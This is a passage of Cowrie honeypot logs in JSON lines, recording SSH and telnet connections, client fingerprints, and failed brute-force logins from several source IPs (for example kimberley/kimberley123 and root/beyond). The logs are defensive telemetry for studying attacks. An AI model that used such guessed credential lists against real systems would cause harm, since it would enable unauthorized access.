penssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:55.482305Z","src_ip":"159.203.92.129","session":"1ab96faed3fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"123","message":"login attempt [abc/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:55.503501Z","src_ip":"159.203.92.129","session":"1ab96faed3fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:56.511127Z","src_ip":"159.203.92.129","session":"1ab96faed3fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00196599960327,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:27.968463Z","src_ip":"185.15.67.94","session":"d4570990f672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":37306,"dst_ip":"159.203.135.109","dst_port":23,"session":"e82b2faab193","protocol":"telnet","message":"New connection: 185.15.67.94:37306 (159.203.135.109:23) [session: e82b2faab193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:28.337524Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39040,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4da63f19ca1","protocol":"ssh","message":"New connection: 159.203.92.129:39040 (159.203.135.109:22) [session: c4da63f19ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:37.727241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:37.736084Z","src_ip":"159.203.92.129","session":"c4da63f19ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:37.741627Z","src_ip":"159.203.92.129","session":"c4da63f19ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"123456","message":"login attempt [abc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:37.801647Z","src_ip":"159.203.92.129","session":"c4da63f19ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:38.809667Z","src_ip":"159.203.92.129","session":"c4da63f19ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00411343574524,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:41.425195Z","src_ip":"185.15.67.94","session":"c6bb29b0a8aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":46428,"dst_ip":"159.203.135.109","dst_port":22,"session":"21aa51ff3e7a","protocol":"ssh","message":"New connection: 2.57.122.238:46428 (159.203.135.109:22) [session: 21aa51ff3e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:43.665144Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:43.767383Z","src_ip":"2.57.122.238","session":"21aa51ff3e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":37466,"dst_ip":"159.203.135.109","dst_port":23,"session":"c232ed678cba","protocol":"telnet","message":"New connection: 185.15.67.94:37466 (159.203.135.109:23) [session: c232ed678cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:46.782341Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":9004,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbb99e7eed21","protocol":"ssh","message":"New connection: 213.209.159.159:9004 (10.17.0.5:22) [session: fbb99e7eed21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:52.081166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:52.085661Z","src_ip":"213.209.159.159","session":"fbb99e7eed21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:52.167361Z","src_ip":"213.209.159.159","session":"fbb99e7eed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley","message":"login attempt [kimberley/kimberley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:52.567234Z","src_ip":"213.209.159.159","session":"fbb99e7eed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley1","message":"login attempt [kimberley/kimberley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:53.653477Z","src_ip":"213.209.159.159","session":"fbb99e7eed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley123","message":"login attempt [kimberley/kimberley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:54.738774Z","src_ip":"213.209.159.159","session":"fbb99e7eed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley1234","message":"login attempt [kimberley/kimberley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:55.824015Z","src_ip":"213.209.159.159","session":"fbb99e7eed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kimberley","password":"kimberley12345","message":"login attempt [kimberley/kimberley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:56.910276Z","src_ip":"213.209.159.159","session":"fbb99e7eed21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:58:57.994930Z","src_ip":"213.209.159.159","session":"fbb99e7eed21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58734,"dst_ip":"159.203.135.109","dst_port":22,"session":"a82b20afb660","protocol":"ssh","message":"New connection: 159.203.92.129:58734 (159.203.135.109:22) [session: a82b20afb660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:59:20.339191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:59:20.344233Z","src_ip":"159.203.92.129","session":"a82b20afb660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:59:20.349214Z","src_ip":"159.203.92.129","session":"a82b20afb660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc","message":"login attempt [abc/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:59:20.370357Z","src_ip":"159.203.92.129","session":"a82b20afb660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:59:21.377513Z","src_ip":"159.203.92.129","session":"a82b20afb660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56366,"dst_ip":"159.203.135.109","dst_port":22,"session":"295c08900de1","protocol":"ssh","message":"New connection: 159.203.92.129:56366 (159.203.135.109:22) [session: 295c08900de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:04.910992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:05.171604Z","src_ip":"159.203.92.129","session":"295c08900de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:05.175842Z","src_ip":"159.203.92.129","session":"295c08900de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc12","message":"login attempt [abc/abc12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:06.436253Z","src_ip":"159.203.92.129","session":"295c08900de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:08.560683Z","src_ip":"159.203.92.129","session":"295c08900de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00472378730774,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:28.342116Z","src_ip":"185.15.67.94","session":"e82b2faab193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":38100,"dst_ip":"159.203.135.109","dst_port":23,"session":"4607597b834e","protocol":"telnet","message":"New connection: 185.15.67.94:38100 (159.203.135.109:23) [session: 4607597b834e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:28.709254Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":56080,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1e601db95c","protocol":"ssh","message":"New connection: 43.160.206.186:56080 (159.203.135.109:22) [session: 3e1e601db95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:44.261340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:44.265867Z","src_ip":"43.160.206.186","session":"3e1e601db95c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:44.503835Z","src_ip":"43.160.206.186","session":"3e1e601db95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beyond","message":"login attempt [root/beyond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:45.508252Z","src_ip":"43.160.206.186","session":"3e1e601db95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:46.749391Z","src_ip":"43.160.206.186","session":"3e1e601db95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019142627716,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:46.784118Z","src_ip":"185.15.67.94","session":"c232ed678cba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":38232,"dst_ip":"159.203.135.109","dst_port":23,"session":"f328ecbf1e6e","protocol":"telnet","message":"New connection: 185.15.67.94:38232 (159.203.135.109:23) [session: f328ecbf1e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:48.118438Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50130,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff83791b59d","protocol":"ssh","message":"New connection: 159.203.92.129:50130 (159.203.135.109:22) [session: dff83791b59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:48.457712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:48.461915Z","src_ip":"159.203.92.129","session":"dff83791b59d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:48.467773Z","src_ip":"159.203.92.129","session":"dff83791b59d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc123","message":"login attempt [abc/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:48.477734Z","src_ip":"159.203.92.129","session":"dff83791b59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:00:49.485323Z","src_ip":"159.203.92.129","session":"dff83791b59d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":42946,"dst_ip":"159.203.135.109","dst_port":22,"session":"072f12a98d9a","protocol":"ssh","message":"New connection: 2.57.122.238:42946 (159.203.135.109:22) [session: 072f12a98d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:01:05.699602Z"}
